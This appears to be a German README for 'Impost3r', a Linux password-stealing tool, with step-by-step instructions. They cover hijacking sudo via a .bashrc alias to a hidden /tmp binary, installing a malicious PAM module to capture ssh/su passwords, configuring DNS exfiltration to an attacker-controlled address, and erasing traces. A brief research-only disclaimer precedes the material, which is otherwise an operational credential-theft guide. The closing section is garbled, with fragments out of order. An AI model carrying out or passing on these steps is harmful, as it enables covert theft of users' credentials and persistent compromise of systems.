
👻Impost3r -- Ein linux Passwortdieb

Impost3r ist ein in C geschriebenes Tool zum Stehlen verschiedener Passwörter (ssh, su, sudo) unter Linux.
Benutzer können dieses Programm verwenden, um eine Wasserloch-Attacke durchzuführen und Passwörter legitimer Benutzer zu stehlen.
Dieses Tool dient ausschließlich der Sicherheitsforschung und -lehre. Der Benutzer übernimmt die gesamte rechtliche Verantwortung und Haftung, die sich aus der Nutzung dieses Tools ergibt! Der Autor übernimmt keine rechtliche oder diesbezügliche Verantwortung!
Impost3r kann verwendet werden, um Passwörter für sudo-, su- und ssh-Dienste zu stehlen. Diese drei Dienste lassen sich grob in zwei Kategorien einteilen: sudo sowie ssh/su. Im Folgenden werden beide Fälle behandelt.
Es ist lediglich eine normale Benutzerberechtigung erforderlich, kein root. Es kann nur das Passwort des entsprechenden Benutzers gestohlen werden, nicht das anderer Benutzer.
Zunächst wird angenommen, dass der Angreifer die Kontrolle über einen Server hat, und zwar mit normalen Benutzerrechten.
Überprüfen Sie, ob im Benutzerstammverzeichnis die Datei .bash_profile vorhanden ist. Wenn .bash_profile existiert: Prüfen Sie, ob in .bash_profile aktiv .bashrc geladen wird. Wenn ja, überspringen Sie diesen Schritt und die nächsten beiden Prüfungen und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, überspringen Sie die nächsten beiden Prüfungen und ersetzen Sie im Folgenden alle Vorgänge, die .bashrc betreffen, durch Vorgänge, die .bash_profile betreffen!!! Wenn .bash_profile nicht existiert: Fahren Sie mit der nächsten Prüfung fort.
Überprüfen Sie, ob im Benutzerstammverzeichnis die Datei .bash_login vorhanden ist. Wenn .bash_login existiert: Prüfen Sie, ob in .bash_login aktiv .bashrc geladen wird. Wenn ja, überspringen Sie diesen Schritt und die nächste Prüfung und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, überspringen Sie die nächste Prüfung und Wenn nicht existiert: Fahren Sie mit der nächsten Prüfung fort.
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Erstellen Sie eine Kopie der .bashrc des Benutzers: cp ~/.bashrc /tmp/ und legen Sie diese Kopie an einem vom Angreifer festgelegten Pfad ab (in diesem Beispiel im Verzeichnis /tmp/, kann vom Angreifer geändert werden).
Ändern Sie die .bashrc im Benutzerstammverzeichnis (~/.bashrc), indem Sie die folgende Anweisung in der letzten Zeile hinzufügen (wobei /tmp/.impost3r mit dem unten stehenden FILENAME übereinstimmen muss):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
Speichern Sie die Datei und führen Sie source ~/.bashrc aus.
Anschließend muss der Angreifer den Quellcode von Impost3r in /sudo/main.h ändern:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Setzt den Speicherort von Impost3r auf dem Zielserver
# define BACKUP_ORI_FILENAME ".bashrc" \\Gibt an, ob die gesicherte ursprüngliche Benutzerkonfigurationsdatei .bashrc, .bash_profile, .profile oder .bash_login ist
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Gibt den Speicherort der gesicherten ursprünglichen Benutzerkonfigurationsdatei auf dem Zielserver an
# define SAVE_OR_SEND 0 \\Legt fest, ob das Ergebnis nach erfolgreichem Diebstahl auf dem Zielrechner gespeichert oder an den vom Angreifer kontrollierten Rechner gesendet wird (Senden=0, Speichern=1, Standard ist Senden)
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Beachten Sie: Wenn Sie keine Domain kaufen möchten, um die von Impost3r zurückgesendeten Nachrichten zu empfangen, und der Zielserver, auf dem Impost3r platziert wird, keine ausgehenden UDP-Verbindungen zu Port 53 Ihres DNS-Servers blockiert, verwenden Sie bitte den Standardwert für die Domain.
\\Wenn der Zielserver jedoch ausgehende DNS-Anfragen stark einschränkt, ändern Sie den Wert von YOUR_DOMAIN in die von Ihnen gekaufte Domain, z. B. „.example.com“, konfigurieren Sie den NS-Eintrag dieser Domain so, dass er auf die Adresse Ihres DNS-Servers zeigt, führen Sie auf diesem DNS-Server Fdns aus und ändern Sie die folgenden Werte REMOTE_ADDRESS in die Standard-DNS-Adresse des Zielservers, auf dem Impost3r platziert wird, sowie REMOTE_PORT in den von der Standard-DNS-Adresse des Zielservers überwachten DNS-Dienstport (in den allermeisten Fällen ist dies Port 53).
# define MAX_RESEND 30 \\Legt die maximale Anzahl von Wiederholungsversuchen fest, mit denen Impost3r nach dem Diebstahl des Passworts versucht, das Passwort an den Server des Angreifers zu senden.
# define RESEND_INTERVAL 5 \\Legt das Intervall zwischen den einzelnen Sendeversuchen fest.
# define REMOTE_ADDRESS "192.168.0.12" \\Legt die entfernte Adresse fest, an die das Passwort gesendet werden soll.
# define REMOTE_PORT 53 \\Legt den entfernten Port fest, an den das Passwort gesendet werden soll.
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Legt den Speicherort der Ergebnisdatei fest, wenn SAVE_OR_SEND auf 1 gesetzt ist.
Speichern Sie die Änderungen und führen Sie im aktuellen Verzeichnis make aus.
Im aktuellen Verzeichnis erhalten Sie die kompilierte Datei .impost3r.
Laden Sie die Datei .impost3r in den Ordner /tmp/ auf dem Zielserver hoch (nur ein Beispiel, kann selbst geändert werden, muss jedoch mit der Definition im Quellcode übereinstimmen).
Starten Sie auf Ihrem Server das DNS-Serverprogramm und warten Sie, bis ein legitimer Benutzer sudo verwendet, um das Passwort zu erhalten.
Beim Stehlen des sudo-Passworts löscht Impost3r nach erfolgreichem Diebstahl automatisch die Spuren; es ist nicht erforderlich, dass der Angreifer manuell aufräumt.
Impost3r prüft automatisch, ob das vom Benutzer eingegebene Passwort korrekt ist. Der Vorgang wird erst beendet und die Spuren werden gelöscht, wenn der Benutzer das richtige Passwort eingegeben hat.
Bitte überprüfen Sie vor der Verwendung von Impost3r mit sudo -v, ob der aktuelle Benutzer in der sudoer-Gruppe ist. Falls nicht, verwenden Sie Impost3r nicht.
Das Stehlen von ssh/su-Passwörtern unterscheidet sich in der Nutzungsmethode vom Stehlen des sudo-Passworts. Es sind root-Rechte erforderlich. Es können Passwörter beliebiger Benutzer gestohlen werden.
Im Folgenden wird Ubuntu als Beispiel verwendet; Centos ist ähnlich, die verwendeten Dateien und Änderungsmethoden können abweichen.
Zunächst wird wieder angenommen, dass der Angreifer die Kontrolle über einen Server hat.
Durch eine Reihe von Privilegieneskalationen wurden root-Rechte erlangt (oder der freundliche Administrator hat den Dienst mit root-Rechten gestartet).
Bearbeiten Sie zuerst die Quellcodedatei von Impost3r in /ssh_su/main.h:
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\Legt den Diebstahlmodus fest: 0 bedeutet nur ssh-Passwort stehlen, 1 bedeutet ssh- und su-Passwort stehlen, Standard ist 0 (der Unterschied wird später erläutert).
# define SAVE_OR_SEND 0 \\Legt fest, ob das Ergebnis nach erfolgreichem Diebstahl auf dem Zielrechner gespeichert oder an den vom Angreifer kontrollierten Rechner gesendet wird (Senden=0, Speichern=1, Standard ist Senden).
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Beachten Sie: Wenn Sie keine Domain kaufen möchten, um die von Impost3r zurückgesendeten Nachrichten zu empfangen, und der Zielserver, auf dem Impost3r platziert wird, keine ausgehenden UDP-Verbindungen zu Port 53 Ihres DNS-Servers blockiert, verwenden Sie bitte den Standardwert für die Domain.
\\Wenn der Zielserver jedoch ausgehende DNS-Anfragen stark einschränkt, ändern Sie den Wert von YOUR_DOMAIN in die von Ihnen gekaufte Domain, z. B. „.example.com“, konfigurieren Sie den NS-Eintrag dieser Domain so, dass er auf die Adresse Ihres DNS-Servers zeigt, führen Sie auf diesem DNS-Server Fdns aus und ändern Sie die folgenden Werte REMOTE_ADDRESS in die Standard-DNS-Adresse des Zielservers, auf dem Impost3r platziert wird, sowie REMOTE_PORT in den von der Standard-DNS-Adresse des Zielservers überwachten DNS-Dienstport (in den allermeisten Fällen ist dies Port 53).
# define MAX_RESEND 30 \\Legt die maximale Anzahl von Wiederholungsversuchen fest, mit denen Impost3r nach dem Diebstahl des Passworts versucht, das Passwort an den Server des Angreifers zu senden (nur gültig, wenn SSH_OR_BOTH auf 0 gesetzt ist).
# define RESEND_INTERVAL 5 \\Legt das Intervall zwischen den einzelnen Sendeversuchen fest (nur gültig, wenn SSH_OR_BOTH auf 0 gesetzt ist).
# define REMOTE_ADDRESS "192.168.0.12" \\Legt die entfernte Adresse fest, an die das Passwort gesendet werden soll.
# define REMOTE_PORT 53 \\Legt den entfernten Port fest, an den das Passwort gesendet werden soll.
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Legt den Speicherort der Ergebnisdatei fest, wenn SAVE_OR_SEND auf 1 gesetzt ist.
Speichern Sie die Änderungen und führen Sie im aktuellen Verzeichnis make aus.
Erhalten Sie die kompilierte Datei impost3r.so.
Laden Sie die kompilierte impost3r.so in das Verzeichnis /lib/x86_64-linux-gnu/security auf dem Zielrechner hoch (der Ordnername kann je nach Rechner unterschiedlich sein, legen Sie sie entsprechend ab).
Navigieren Sie zu /etc/pam.d. Hier gibt es zwei Fälle: Wenn der Modus auf „nur ssh-Passwort stehlen“ gesetzt ist, müssen Sie vi sshd ausführen und die folgenden Anweisungen am Ende der Datei hinzufügen (beachten Sie, dass diese Datei bei anderen Linux-basierten Systemen als Ubuntu stark abweichen kann; es wird empfohlen, die Regeln selbst zu verstehen, bevor Sie die Anweisungen an der geeigneten Stelle hinzufügen).
auth optional impost3r.so
account optional impost3r.so
Speichern und beenden, dann den sshd-Dienst neu starten: service sshd restart.
Wenn hingegen sowohl ssh- als auch su-Passwörter gestohlen werden sollen, müssen Sie vi common-auth ausführen, dieselben Anweisungen hinzufügen, speichern und beenden und ebenfalls den sshd-Dienst neu starten.
Starten Sie auf Ihrem Server das DNS-Serverprogramm und warten Sie, bis ein legitimer Benutzer mit ssh auf den Zielrechner einloggt oder mit su den Benutzer wechselt, um das Passwort zu erhalten.
Beim Stehlen von ssh/su-Passwörtern kann Impost3r aus Berechtigungsgründen keine Spuren löschen. Der Angreifer muss dies selbst tun.
Bitte beachten Sie: Wenn nur das ssh-Passwort gestohlen wird, kann im Grunde garantiert werden, dass der Angreifer das Diebstahlergebnis zu 100 % erhält. Wenn beide gleichzeitig gestohlen werden, ist nicht garantiert, dass der Angreifer das Ergebnis zu 100 % erhält (nur wenn die DNS-Sendung eingestellt ist; bei lokaler Speicherung gibt es keine Beeinträchtigung).
Es wird nicht empfohlen, das su-Passwort zu stehlen. Da das ssh-Passwort und das su-Passwort des Benutzers identisch sind, sollten Sie, wenn möglich, auf das Stehlen des su-Passworts verzichten; das ssh-Passwort reicht aus.
Standardmäßig werden keine leeren Passwörter gestohlen. Bitte prüfen Sie selbst, ob der Benutzer ein leeres Passwort hat (überprüfen Sie die sshd-Konfigurationsdatei auf PermitEmptyPasswords yes. Wenn es leer ist, macht das Stehlen keinen Sinn.)
gcc -o dns main.c util.c (beachten Sie, dass Sie zuerst den Überwachungsport in main.c ändern müssen).YOUR_DOMAIN in util.h. Stellen Sie sicher, dass dieser Wert mit dem Wert übereinstimmt, der beim Kompilieren des Impost3r-Programms auf dem Zielserver verwendet wurde. Andernfalls könnte der Diebstahl fehlschlagen..bashrc betreffen, durch Vorgänge, die .bash_login betreffen!!!.bash_loginÜberprüfen Sie, ob im Benutzerstammverzeichnis die Datei .profile vorhanden ist. Wenn .profile existiert: Prüfen Sie, ob in .profile aktiv .bashrc geladen wird (standardmäßig geladen). Wenn ja, überspringen Sie diesen Schritt und fahren Sie mit den weiteren Schritten fort. Wenn nicht aktiv geladen, ersetzen Sie im Folgenden alle Vorgänge, die .bashrc betreffen, durch Vorgänge, die .profile betreffen!!! Wenn auch .profile nicht existiert, kann Impost3r grundsätzlich nicht verwendet werden. Sie können jedoch je nach Situation selbst entscheiden, ob Sie eine .bash_profile- oder .profile-Datei erstellen und darin einen ähnlichen Ladecode wie den folgenden hinzufügen, um .bashrc zu laden: